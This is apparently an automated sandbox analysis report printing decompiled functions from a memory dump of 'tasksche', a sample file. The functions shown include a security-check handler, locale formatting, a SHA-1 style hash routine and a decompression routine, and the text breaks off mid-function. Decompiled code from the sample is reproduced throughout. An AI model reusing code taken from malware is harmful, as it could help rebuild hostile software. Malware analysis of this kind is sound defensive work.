0x00401d14
0x00401d16
0x00401d1a
0x00401d29
0x00401d2c
0x00401d2f
0x00401d61
0x00401d69
0x00401d72
0x00401d77
0x00000000
0x00401d77
0x00000000
0x00401d2f

APIs

__EH_prolog.LIBCMT ref: 00401CC6
_strlen.LIBCMT ref: 00402237

Part of subcall function 00411B3C: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,00001FFF,?,?,004022BC,00000000,?,00000800,?,00001FFF,?), ref: 00411B58

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00402393

Strings

CMT, xrefs: 004023B6

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: ByteCharH_prologMultiUnothrow_t@std@@@Wide__ehfuncinfo$??2@_strlen
String ID: CMT
API String ID: 1706572503-2756464174
Opcode ID: 0be3d3ecc635031628957b47ccd727b43b6d95ea909fd416758fe2208c21c37e
Instruction ID: 47e58a6222a9c82a3371e9f2a391d10810198bea5a194d1edf5ea2ede1dda2e7
Opcode Fuzzy Hash: 0be3d3ecc635031628957b47ccd727b43b6d95ea909fd416758fe2208c21c37e
Instruction Fuzzy Hash: 8B6201709006849FCF25DF64C8947EE7BB1AF14304F0844BEE986BB2D6DB795985CB28

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6DE Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0041E6DE(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x430298; // 0x9ec20338
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x44ff68 = _t6;
				 *0x44ff64 = _t22;
				 *0x44ff60 = _t25;
				 *0x44ff5c = _t21;
				 *0x44ff58 = _t27;
				 *0x44ff54 = _t26;
				 *0x44ff80 = ss;
				 *0x44ff74 = cs;
				 *0x44ff50 = ds;
				 *0x44ff4c = es;
				 *0x44ff48 = fs;
				 *0x44ff44 = gs;
				asm("pushfd");
				_pop( *0x44ff78);
				 *0x44ff6c =  *_t31;
				 *0x44ff70 = _v0;
				 *0x44ff7c =  &_a4;
				 *0x44feb8 = 0x10001;
				_t11 =  *0x44ff70; // 0x0
				 *0x44fe6c = _t11;
				 *0x44fe60 = 0xc0000409;
				 *0x44fe64 = 1;
				_t12 =  *0x430298; // 0x9ec20338
				_v812 = _t12;
				_t13 =  *0x43029c; // 0x613dfcc7
				_v808 = _t13;
				 *0x44feb0 = IsDebuggerPresent();
				_push(1);
				E00424E29(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x42ba78);
				if( *0x44feb0 == 0) {
					_push(1);
					E00424E29(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x0041e6de
0x0041e6de
0x0041e6de
0x0041e6de
0x0041e6de
0x0041e6de
0x0041e6de
0x0041e6e4
0x0041e6e6
0x0041e6e6
0x00423e8e
0x00423e93
0x00423e99
0x00423e9f
0x00423ea5
0x00423eab
0x00423eb1
0x00423eb8
0x00423ebf
0x00423ec6
0x00423ecd
0x00423ed4
0x00423edb
0x00423edc
0x00423ee5
0x00423eed
0x00423ef5
0x00423f00
0x00423f0a
0x00423f0f
0x00423f14
0x00423f1e
0x00423f28
0x00423f2d
0x00423f33
0x00423f38
0x00423f44
0x00423f49
0x00423f4b
0x00423f53
0x00423f5e
0x00423f6b
0x00423f6d
0x00423f6f
0x00423f74
0x00423f88

APIs

IsDebuggerPresent.KERNEL32 ref: 00423F3E
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00423F53
UnhandledExceptionFilter.KERNEL32(0042BA78), ref: 00423F5E
GetCurrentProcess.KERNEL32(C0000409), ref: 00423F7A
TerminateProcess.KERNEL32(00000000), ref: 00423F81

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 4de6ed279e9cf42e89259ac0ebda5d4927e8938d534c68d964197d147836f072
Instruction ID: 77c401cdca4814435c65699ef26cb777055d8c499ed0f7a386f9586c05fd5705
Opcode Fuzzy Hash: 4de6ed279e9cf42e89259ac0ebda5d4927e8938d534c68d964197d147836f072
Instruction Fuzzy Hash: 6F21C0B8A10208DFE710DF25F8496597BA0FB1A315F90117BE90887271EBB5599ECF0E

Uniqueness

Uniqueness Score: -1.00%

Function 0040D155 Relevance: 3.0, APIs: 2, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D155(intOrPtr _a4, intOrPtr _a8, short* _a12, int _a16) {
				short _v104;
				short _v304;
				int _t22;
				void* _t23;
				void* _t24;
				short* _t26;

				if( *0x4300dc == 0) {
					GetLocaleInfoW(0x400, 0xf,  &_v304, 0x64);
					 *0x44cf24 = _v304;
					 *0x44cf26 = 0;
					 *0x4300dc = 0x44cf24;
				}
				E00410BF7(_t23, _t24, _a4, _a8,  &_v104, 0x32);
				_t22 = _a16;
				_t26 = _a12;
				 *_t26 = 0;
				GetNumberFormatW(0x400, 0,  &_v104, 0x4300cc, _t26, _t22);
				 *((short*)(_t26 + _t22 * 2 - 2)) = 0;
				return 0;
			}

0x0040d16d
0x0040d17b
0x0040d188
0x0040d190
0x0040d196
0x0040d196
0x0040d1ac
0x0040d1b1
0x0040d1b4
0x0040d1c0
0x0040d1ca
0x0040d1d3
0x0040d1db

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 0040D17B
GetNumberFormatW.KERNEL32 ref: 0040D1CA

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: fae0c5bc4c9ea969901553f08fe9413b92117c2e4d377c34b7ff725826ea960f
Instruction ID: 2e86bd0250e0b4fef5c8dc12a3830970d19becb9d4c55c3472b337e1343b8b10
Opcode Fuzzy Hash: fae0c5bc4c9ea969901553f08fe9413b92117c2e4d377c34b7ff725826ea960f
Instruction Fuzzy Hash: DB017C35600248AEE710DFA4EC41FAAB7FCEF09714F005426FA04EB1A0D3B89915CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 00410178 Relevance: 2.8, Strings: 2, Instructions: 289
COMMONCrypto

Download Yara Rule

C-Code - Quality: 83%

			E00410178(void* __ecx, void* _a4, signed int _a8, signed int* _a12, signed int _a16) {
				intOrPtr* _v8;
				intOrPtr* _v12;
				signed int* _v16;
				void _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int* _t236;
				signed int _t244;
				signed int _t255;
				signed int _t264;
				signed int _t274;
				void* _t276;
				signed int _t286;
				signed int _t288;
				signed int _t292;
				signed int _t298;
				signed int* _t312;
				void* _t332;
				intOrPtr _t333;
				signed int _t337;
				signed int* _t340;
				signed int* _t341;
				signed int* _t345;
				signed int _t346;
				signed int* _t350;
				void* _t351;
				void* _t356;
				signed int _t389;
				void* _t390;
				signed int* _t392;
				signed int* _t400;
				signed int* _t408;
				signed int* _t412;
				signed int* _t415;
				signed int* _t420;
				void* _t421;
				void* _t422;

				if(_a16 == 0) {
					_t286 = _a12;
				} else {
					_t286 = _a8;
					E0041C290(_t286, _t356, _t390, _t286, _a12, 0x40);
					_t422 = _t422 + 0xc;
				}
				if( *0x44f578 == 0) {
					_t333 = 0;
					_t420 = 0x44ef3c;
					do {
						_t5 = _t333 + 1; // 0x1
						asm("cdq");
						_t389 = 5;
						_t10 = _t333 + 2; // 0x2
						 *((intOrPtr*)(_t420 - 4)) = _t333;
						 *_t420 = _t5 % _t389;
						asm("cdq");
						_t16 = _t333 + 3; // 0x3
						_t420 =  &(_t420[5]);
						 *(_t420 - 0x10) = _t10 % _t389;
						asm("cdq");
						_t22 = _t333 + 4; // 0x4
						 *(_t420 - 0xc) = _t16 % _t389;
						asm("cdq");
						 *(_t420 - 8) = _t22 % _t389;
						if(_t333 == 0) {
							_t333 = 4;
						} else {
							_t333 = _t333 - 1;
						}
					} while (_t420 < 0x44f57c);
					 *0x44f578 = 1;
				}
				_t288 = 5;
				memcpy( &_v36, _a4, _t288 << 2);
				_t236 = 0x44ef44;
				_a16 = _t286;
				do {
					_t392 = _a16;
					asm("ror ecx, 0x8");
					asm("rol edx, 0x8");
					_t292 =  *_t392 & 0xff00ff00 |  *_t392 & 0x00ff00ff;
					 *_t392 = _t292;
					_t337 =  *(_t421 +  *_t236 * 4 - 0x20);
					_a16 = _a16 + 4;
					_a12 = _t421 +  *(_t236 - 8) * 4 - 0x20;
					_v8 = _t421 + _t236[1] * 4 - 0x20;
					_a8 = _t337;
					asm("rol esi, 0x5");
					_t62 =  *((intOrPtr*)(_t421 +  *(_t236 - 0xc) * 4 - 0x20)) + _t292 + 0x5a827999; // 0x5a827a75
					 *_v8 =  *_v8 + (( *(_t421 +  *(_t236 - 4) * 4 - 0x20) ^ _t337) &  *_a12 ^ _a8) + _t62;
					asm("ror dword [ecx], 0x2");
					_t236 =  &(_t236[5]);
					_t340 = 0x44f084;
				} while (_t236 < 0x44f084);
				_a16 = 0x10;
				do {
					_t66 = _a16 - 3; // 0xd
					_t295 = _t66;
					_t400 = _t286 + (_a16 & 0x0000000f) * 4;
					_t69 = _t295 - 5; // 0x8
					_t72 = _t295 + 5; // 0x12
					_t244 =  *(_t286 + (_t69 & 0x0000000f) * 4) ^  *(_t286 + (_t72 & 0x0000000f) * 4) ^  *(_t286 + (_t66 & 0x0000000f) * 4) ^  *_t400;
					asm("rol eax, 1");
					 *_t400 = _t244;
					_t77 = _t340 - 8; // 0x0
					_t298 =  *(_t421 +  *_t340 * 4 - 0x20);
					_t81 = _t340 - 4; // 0x0
					_a12 = _t421 +  *_t77 * 4 - 0x20;
					_t89 =  &(_t340[1]); // 0x0
					_v8 = _t421 +  *_t89 * 4 - 0x20;
					_t94 = _t340 - 0xc; // 0x0
					_a8 = _t298;
					asm("rol esi, 0x5");
					_t103 =  *((intOrPtr*)(_t421 +  *_t94 * 4 - 0x20)) + _t244 + 0x5a827999; // 0x5a827a75
					 *_v8 =  *_v8 + (( *(_t421 +  *_t81 * 4 - 0x20) ^ _t298) &  *_a12 ^ _a8) + _t103;
					asm("ror dword [eax], 0x2");
					_a16 = _a16 + 1;
					_t340 =  &(_t340[5]);
				} while (_t340 < 0x44f0d4);
				_a16 = 0x14;
				_t341 = 0x44f0d4;
				do {
					_t109 = _a16 - 3; // 0x11
					_t301 = _t109;
					_t408 = _t286 + (_a16 & 0x0000000f) * 4;
					_t112 = _t301 - 5; // 0xc
					_t113 = _t301 + 5; // 0x16
					_t255 =  *(_t286 + (_t112 & 0x0000000f) * 4) ^  *(_t286 + (_t113 & 0x0000000f) * 4) ^  *(_t286 + (_t109 & 0x0000000f) * 4) ^  *_t408;
					asm("rol eax, 1");
					 *_t408 = _t255;
					_t120 = _t341 - 8; // 0x0
					_a12 = _t421 +  *_t120 * 4 - 0x20;
					_t125 =  &(_t341[1]); // 0x0
					_v8 = _t421 +  *_t125 * 4 - 0x20;
					_t130 = _t341 - 0xc; // 0x0
					_t134 = _t341 - 4; // 0x0
					asm("rol esi, 0x5");
					 *_v8 =  *_v8 + ( *(_t421 +  *_t134 * 4 - 0x20) ^  *(_t421 +  *_t341 * 4 - 0x20) ^  *_a12) +  *((intOrPtr*)(_t421 +  *_t130 * 4 - 0x20)) + _t255 + 0x6ed9eba1;
					asm("ror dword [ecx], 0x2");
					_a16 = _a16 + 1;
					_t341 =  &(_t341[5]);
				} while (_t341 < 0x44f264);
				_t312 = 0x44f260;
				_a16 = 0x28;
				_a12 = 0x44f260;
				do {
					_t150 = _a16 - 3; // 0x25
					_t342 = _t150;
					_t412 = _t286 + (_a16 & 0x0000000f) * 4;
					_t153 = _t342 - 5; // 0x20
					_t156 = _t342 + 5; // 0x2a
					_t264 =  *(_t286 + (_t153 & 0x0000000f) * 4) ^  *(_t286 + (_t156 & 0x0000000f) * 4) ^  *(_t286 + (_t150 & 0x0000000f) * 4) ^  *_t412;
					asm("rol eax, 1");
					 *_t412 = _t264;
					_t161 = _t312 - 4; // 0x0
					_t162 =  &(_t312[2]); // 0x0
					_t345 = _t421 +  *_t161 * 4 - 0x20;
					_v16 = _t345;
					_t346 =  *_t345;
					_v12 = _t421 +  *_t162 * 4 - 0x20;
					_t174 = _t312 - 8; // 0x0
					_t175 =  &(_t312[1]); // 0x0
					_a8 = _t346;
					asm("rol edi, 0x5");
					 *_v12 =  *_v12 + ( *(_t421 +  *_t175 * 4 - 0x20) & (_t346 |  *(_t421 +  *_t312 * 4 - 0x20)) | _a8 &  *(_t421 +  *_t312 * 4 - 0x20)) +  *((intOrPtr*)(_t421 +  *_t174 * 4 - 0x20)) + _t264 - 0x70e44324;
					asm("ror dword [eax], 0x2");
					_a16 = _a16 + 1;
					_t312 =  &(_a12[5]);
					_a12 = _t312;
				} while (_t312 < 0x44f3f0);
				_a16 = 0x3c;
				_t350 = 0x44f3f4;
				do {
					_t194 = _a16 - 3; // 0x39
					_t320 = _t194;
					_t415 = _t286 + (_a16 & 0x0000000f) * 4;
					_t197 = _t320 - 5; // 0x34
					_t198 = _t320 + 5; // 0x3e
					_t274 =  *(_t286 + (_t197 & 0x0000000f) * 4) ^  *(_t286 + (_t198 & 0x0000000f) * 4) ^  *(_t286 + (_t194 & 0x0000000f) * 4) ^  *_t415;
					asm("rol eax, 1");
					 *_t415 = _t274;
					_t205 = _t350 - 8; // 0x0
					_a12 = _t421 +  *_t205 * 4 - 0x20;
					_t210 =  &(_t350[1]); // 0x0
					_v16 = _t421 +  *_t210 * 4 - 0x20;
					_t215 = _t350 - 0xc; // 0x0
					_t219 = _t350 - 4; // 0x0
					asm("rol esi, 0x5");
					 *_v16 =  *_v16 + ( *(_t421 +  *_t219 * 4 - 0x20) ^  *(_t421 +  *_t350 * 4 - 0x20) ^  *_a12) +  *((intOrPtr*)(_t421 +  *_t215 * 4 - 0x20)) + _t274 - 0x359d3e2a;
					asm("ror dword [ecx], 0x2");
					_a16 = _a16 + 1;
					_t350 =  &(_t350[5]);
				} while (_t350 < 0x44f584);
				_t276 = _a4;
				_t332 =  &_v36 - _t276;
				_t351 = 5;
				do {
					 *_t276 =  *_t276 +  *((intOrPtr*)(_t332 + _t276));
					_t276 = _t276 + 4;
					_t351 = _t351 - 1;
				} while (_t351 != 0);
				return _t276;
			}

0x00410185
0x0041019a
0x00410187
0x00410187
0x00410190
0x00410195
0x00410195
0x004101a4
0x004101a6
0x004101a8
0x004101ad
0x004101ad
0x004101b0
0x004101b3
0x004101b6
0x004101b9
0x004101bc
0x004101be
0x004101c1
0x004101c4
0x004101c7
0x004101ca
0x004101cd
0x004101d0
0x004101d3
0x004101d6
0x004101db
0x004101e2
0x004101dd
0x004101dd
0x004101dd
0x004101e3
0x004101eb
0x004101eb
0x004101f7
0x004101fb
0x004101fd
0x00410202
0x00410205
0x00410205
0x0041020c
0x00410215
0x0041021e
0x00410220
0x00410227
0x00410232
0x0041023a
0x00410246
0x00410250
0x00410258
0x00410263
0x0041026a
0x0041026f
0x00410272
0x00410275
0x0041027a
0x0041027e
0x00410285
0x00410288
0x00410288
0x0041028e
0x00410291
0x0041029a
0x004102a9
0x004102ab
0x004102ad
0x004102af
0x004102b4
0x004102b8
0x004102c3
0x004102c6
0x004102cf
0x004102d2
0x004102d9
0x004102e1
0x004102ec
0x004102f3
0x004102f8
0x004102fb
0x004102fe
0x00410306
0x0041030e
0x00410315
0x00410317
0x0041031a
0x0041031a
0x00410320
0x00410323
0x00410326
0x0041033b
0x0041033d
0x0041033f
0x00410341
0x0041034a
0x0041034d
0x00410354
0x00410357
0x0041035e
0x00410369
0x0041037f
0x00410381
0x00410384
0x00410387
0x0041038a
0x00410392
0x00410397
0x0041039e
0x004103a1
0x004103a4
0x004103a4
0x004103aa
0x004103ad
0x004103b6
0x004103c5
0x004103c7
0x004103c9
0x004103cb
0x004103ce
0x004103d7
0x004103df
0x004103e2
0x004103e4
0x004103e7
0x004103ea
0x004103f5
0x00410405
0x00410414
0x0041041c
0x0041041f
0x00410422
0x0041042b
0x0041042b
0x00410434
0x0041043b
0x00410440
0x00410443
0x00410443
0x00410449
0x0041044c
0x0041044f
0x00410464
0x00410466
0x00410468
0x0041046a
0x00410473
0x00410476
0x0041047d
0x00410480
0x00410487
0x00410492
0x004104a8
0x004104aa
0x004104ad
0x004104b0
0x004104b3
0x004104bb
0x004104c3
0x004104c5
0x004104c6
0x004104c9
0x004104cb
0x004104ce
0x004104ce
0x004104d5

Strings

DD, xrefs: 004101FD
<D, xrefs: 004101A8

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID:
String ID: <D$DD
API String ID: 0-3036587789
Opcode ID: a120047ceaa170e9019935171625ae5ad03bfb54992e95746f25c16dbdc0a917
Instruction ID: 59a02f745f793eb532b4d9e305735a670a6f692f985c4356a20c5044c607aa25
Opcode Fuzzy Hash: a120047ceaa170e9019935171625ae5ad03bfb54992e95746f25c16dbdc0a917
Instruction Fuzzy Hash: E8D15D72A0061ACFCF14CF58D884599B3B1FF8C308B2685ADE919AB245D731BA56CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00417D78 Relevance: 2.6, APIs: 1, Instructions: 1055
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00417D78(void* __ecx, unsigned int _a4, char _a7) {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t539;
				signed int _t540;
				unsigned int _t541;
				signed int _t544;
				signed int _t545;
				signed int _t547;
				unsigned int _t551;
				signed int _t553;
				intOrPtr* _t554;
				unsigned int _t556;
				signed int _t559;
				signed int _t560;
				signed int _t561;
				signed int _t562;
				unsigned int _t563;
				signed int _t566;
				signed int _t567;
				signed int _t568;
				signed int _t570;
				unsigned int _t571;
				unsigned int _t580;
				unsigned int _t582;
				signed int _t583;
				unsigned int _t584;
				signed int _t587;
				signed int _t588;
				signed int _t589;
				unsigned int _t590;
				signed int _t592;
				unsigned int _t593;
				unsigned int _t594;
				unsigned int _t595;
				signed int _t597;
				void* _t598;
				signed int _t601;
				signed int _t602;
				unsigned int _t603;
				signed int _t606;
				signed int _t607;
				unsigned int _t611;
				signed int _t613;
				unsigned int _t614;
				unsigned int _t616;
				unsigned int _t618;
				signed int _t619;
				unsigned int _t620;
				signed int _t623;
				signed int _t624;
				unsigned int _t625;
				signed int _t626;
				unsigned int _t627;
				signed int _t630;
				signed int _t631;
				signed int _t632;
				unsigned int _t633;
				unsigned int _t634;
				unsigned int _t635;
				signed int _t636;
				signed int _t637;
				signed int _t638;
				unsigned int _t639;
				signed int _t642;
				signed int _t643;
				signed int _t644;
				void* _t648;
				void* _t649;
				signed int _t651;
				unsigned int _t658;
				unsigned int _t660;
				signed char _t661;
				signed int _t662;
				signed int _t666;
				unsigned int _t667;
				unsigned int _t669;
				signed int _t671;
				intOrPtr _t673;
				signed int _t678;
				signed int _t680;
				signed int _t681;
				signed int _t684;
				signed int _t688;
				signed int _t689;
				unsigned int _t695;
				signed int _t696;
				intOrPtr* _t700;
				intOrPtr* _t702;
				signed int _t704;
				signed int _t706;
				unsigned int _t708;
				void* _t710;
				signed int _t715;
				void* _t723;
				unsigned int _t727;
				unsigned int _t730;
				void* _t732;
				signed int _t734;
				char* _t740;
				unsigned int _t741;
				void* _t743;
				intOrPtr* _t747;
				void* _t748;
				signed int _t751;
				signed int _t753;
				unsigned int _t759;
				unsigned int _t762;
				signed int _t766;
				unsigned int _t768;
				void* _t770;
				signed int _t772;
				signed int _t773;
				void* _t779;
				void* _t781;
				signed int _t787;
				void* _t789;
				intOrPtr* _t791;
				void* _t792;
				signed int _t795;
				void* _t798;
				void* _t803;
				signed int _t806;
				void* _t809;
				void* _t814;
				signed int _t817;
				void* _t825;
				signed int _t826;
				intOrPtr _t829;
				unsigned int _t831;
				unsigned int _t832;
				signed int _t834;
				unsigned int _t841;
				void* _t849;
				void* _t854;
				signed int _t855;
				intOrPtr _t858;
				unsigned int _t859;
				signed int _t860;
				signed int _t862;
				intOrPtr _t865;
				signed int _t877;
				intOrPtr _t880;
				signed int _t888;
				signed int _t890;
				intOrPtr _t893;
				signed int _t901;
				signed int _t902;
				signed int _t921;
				signed int _t923;
				intOrPtr _t926;
				intOrPtr* _t934;
				signed int _t935;
				void* _t936;
				void* _t937;
				void* _t938;
				void* _t953;

				_t680 = 0;
				_t936 = __ecx;
				_t938 =  *0x44f6fc - _t680; // 0x0
				if(_t938 != 0) {
					L6:
					 *((char*)(_t936 + 0x4c58)) = 1;
					if( *((char*)(_t936 + 0x4c48)) != 0) {
						L11:
						_t934 = _t936 + 4;
						while(1) {
							L12:
							 *(_t936 + 0x70) =  *(_t936 + 0x70) &  *(_t936 + 0xe6dc);
							if( *_t934 >  *((intOrPtr*)(_t936 + 0x7c)) && E0041236D(_t683, _t936, _t852) == 0) {
								break;
							}
							_t539 =  *((intOrPtr*)(_t936 + 0x74));
							_t704 =  *(_t936 + 0x70);
							_t852 = _t539 - _t704 &  *(_t936 + 0xe6dc);
							if((_t539 - _t704 &  *(_t936 + 0xe6dc)) >= 0x104 || _t539 == _t704) {
								L20:
								if( *(_t936 + 0xe654) != 1) {
									_t540 = E0040978C(_t934);
									_t681 =  *(_t936 + 0x118);
									_t541 = _t540 & 0x0000fffe;
									__eflags = _t541 -  *((intOrPtr*)(_t936 + 0x98 + _t681 * 4));
									if(_t541 >=  *((intOrPtr*)(_t936 + 0x98 + _t681 * 4))) {
										_t852 = 0xf;
										_t706 = _t681 + 1;
										__eflags = _t706 - _t852;
										if(_t706 >= _t852) {
											L90:
											_t708 =  *(_t934 + 4) + _t852;
											 *(_t934 + 4) = _t708 & 0x00000007;
											_t683 = _t708 >> 3;
											 *_t934 =  *_t934 + (_t708 >> 3);
											_t710 = 0x10;
											_t544 = (_t541 -  *((intOrPtr*)(_t936 + 0x94 + _t852 * 4)) >> _t710 - _t852) +  *((intOrPtr*)(_t936 + 0xd8 + _t852 * 4));
											__eflags = _t544 -  *((intOrPtr*)(_t936 + 0x94));
											if(_t544 >=  *((intOrPtr*)(_t936 + 0x94))) {
												_t544 = 0;
												__eflags = 0;
											}
											_t545 =  *(_t936 + 0xd1c + _t544 * 2) & 0x0000ffff;
											L93:
											__eflags = _t545 - 0x100;
											if(_t545 >= 0x100) {
												__eflags = _t545 - 0x10f;
												if(_t545 < 0x10f) {
													__eflags = _t545 - 0x100;
													if(__eflags != 0) {
														__eflags = _t545 - 0x101;
														if(__eflags != 0) {
															__eflags = _t545 - 0x102;
															if(_t545 != 0x102) {
																__eflags = _t545 - 0x107;
																if(_t545 >= 0x107) {
																	__eflags = _t545 - 0x110;
																	if(_t545 >= 0x110) {
																		continue;
																	}
																	_t547 =  *(_t545 + 0x430081) & 0x000000ff;
																	_t683 = ( *(_t545 + 0x430089) & 0x000000ff) + 1;
																	_a4 = _t547;
																	__eflags = _t547;
																	if(_t547 > 0) {
																		_t556 = E0040978C(_t934);
																		_t723 = 0x10;
																		_t683 = _t683 + (_t556 >> _t723 - _a4);
																		_t559 =  *(_t934 + 4) + _a4;
																		 *_t934 =  *_t934 + (_t559 >> 3);
																		_t560 = _t559 & 0x00000007;
																		__eflags = _t560;
																		 *(_t934 + 4) = _t560;
																	}
																	_t715 =  *(_t936 + 0x70);
																	 *(_t936 + 0x60) =  *(_t936 + 0x5c);
																	 *(_t936 + 0x5c) =  *(_t936 + 0x58);
																	 *(_t936 + 0x58) =  *(_t936 + 0x54);
																	_t551 = 2;
																	 *(_t936 + 0x68) = _t551;
																	_a4 = _t551;
																	_t553 = _t715 - _t683;
																	_t854 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
																	 *(_t936 + 0x54) = _t683;
																	__eflags = _t553 - _t854;
																	if(_t553 >= _t854) {
																		L218:
																		_t855 =  *(_t936 + 0xe6dc);
																		do {
																			_t683 =  *(_t936 + 0x70);
																			_a4 = _a4 - 1;
																			 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t855 & _t553) +  *((intOrPtr*)(_t936 + 0x4b34))));
																			_t855 =  *(_t936 + 0xe6dc);
																			_t553 = _t553 + 1;
																			__eflags = _a4;
																			 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t855;
																		} while (_a4 > 0);
																	} else {
																		__eflags = _t715 - _t854;
																		if(_t715 >= _t854) {
																			goto L218;
																		}
																		_t858 =  *((intOrPtr*)(_t936 + 0x4b34));
																		_t554 = _t553 + _t858;
																		_t852 = _t858 + _t715;
																		 *(_t936 + 0x70) = _t715 + 2;
																		 *_t852 =  *_t554;
																		 *(_t852 + 1) =  *((intOrPtr*)(_t554 + 1));
																	}
																	continue;
																}
																_t561 = _t545 + 0xfffffefd;
																_t727 = _t936 + 0x54 + _t561 * 4;
																_t859 =  *_t727;
																_v12 = _t859;
																while(1) {
																	__eflags = _t561;
																	if(_t561 <= 0) {
																		break;
																	}
																	 *_t727 =  *(_t727 - 4);
																	_t561 = _t561 - 1;
																	_t727 = _t727 - 4;
																	__eflags = _t727;
																}
																 *(_t936 + 0x54) = _t859;
																_t562 = E0040978C(_t934);
																_t688 =  *(_t936 + 0x2ddc);
																_t563 = _t562 & 0x0000fffe;
																__eflags = _t563 -  *((intOrPtr*)(_t936 + 0x2d5c + _t688 * 4));
																if(_t563 >=  *((intOrPtr*)(_t936 + 0x2d5c + _t688 * 4))) {
																	_t860 = 0xf;
																	_t689 = _t688 + 1;
																	__eflags = _t689 - _t860;
																	if(_t689 >= _t860) {
																		L185:
																		_t730 =  *(_t934 + 4) + _t860;
																		 *(_t934 + 4) = _t730 & 0x00000007;
																		 *_t934 =  *_t934 + (_t730 >> 3);
																		_t732 = 0x10;
																		_t566 = (_t563 -  *((intOrPtr*)(_t936 + 0x2d58 + _t860 * 4)) >> _t732 - _t860) +  *((intOrPtr*)(_t936 + 0x2d9c + _t860 * 4));
